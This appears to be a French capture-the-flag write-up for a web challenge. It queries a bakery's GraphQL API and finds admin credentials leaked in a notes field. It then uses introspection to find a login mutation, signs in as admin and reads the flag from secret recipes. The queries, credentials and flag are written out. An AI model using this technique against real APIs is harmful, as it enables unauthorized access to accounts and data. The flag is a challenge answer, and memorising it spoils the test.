Writeup – Brunner's Bakery

  • CTF : Brunner
  • Catégorie : Web
  • Format du flag : brunner{...}
  • Difficulté : Facile
  • Auteur : DonAsako

Contexte

Le site Brunner’s Bakery expose des recettes via une API GraphQL accessible depuis /graphql. L’objectif est d’explorer cette API pour trouver des informations sensibles et récupérer le flag.

Observations initiales

En inspectant le code de la page principale, on observe un appel à l'API GraphQL :

fetch('/graphql', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
        query: 'query { publicRecipes { name description author { displayName } ingredients { name } } }'
    })
})
.then(res => res.json())
.then(data => { /* affichage des recettes */ });

Le endpoint /graphql contient un GraphQL Playground.

En interrogeant l'API, on remarque que certaines informations sont accessibles :

{
  publicRecipes{
    author {
      username
      privateNotes
      notes
    }
  }
}

On obtient par exemple :

{
  "data": {
    "publicRecipes": [
      {
        "author": {
          "username": "sally",
          "privateNotes": null,
          "notes": "TODO: Remove temporary credentials... brunner_admin:Sw33tT00Th321?"
        }
      }
    ]
  }
}

On y trouve des identifiants temporaires pour brunner_admin.

Exploration des mutations

On effectue une introspection des mutations disponibles :

query {
  __schema {
    mutationType {
      name
      fields {
        name
        args { name type { ...TypeRef } }
      }
    }
  }
}
fragment TypeRef on __Type { /* récursif */ }

Résultat : la mutation login(username, password) est disponible.

Connexion avec le compte admin

mutation {
  login(username:"brunner_admin", password:"Sw33tT00Th321?"){
    user { displayName }
    token
  }
}

Réponse :

{
  "data": {
    "login": {
      "user": { "displayName": "Brunner Admin" },
      "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
    }
  }
}

Récupération du flag

Avec l’admin connecté, on peut interroger les recettes secrètes :

{
  secretRecipes {
    isSecret
    name
    description
    author { username displayName email notes privateNotes }
    ingredients {
      name
      supplier {
        name
        owner { username displayName email notes privateNotes }
      }
    }
  }
}

Le flag se trouve dans privateNotes de grandmaster_brunner :

"privateNotes": "brunner{Gr4phQL_1ntR0sp3ct10n_G035_R0UnD_4Nd_r0uND}"

Flag

brunner{Gr4phQL_1ntR0sp3ct10n_G035_R0UnD_4Nd_r0uND}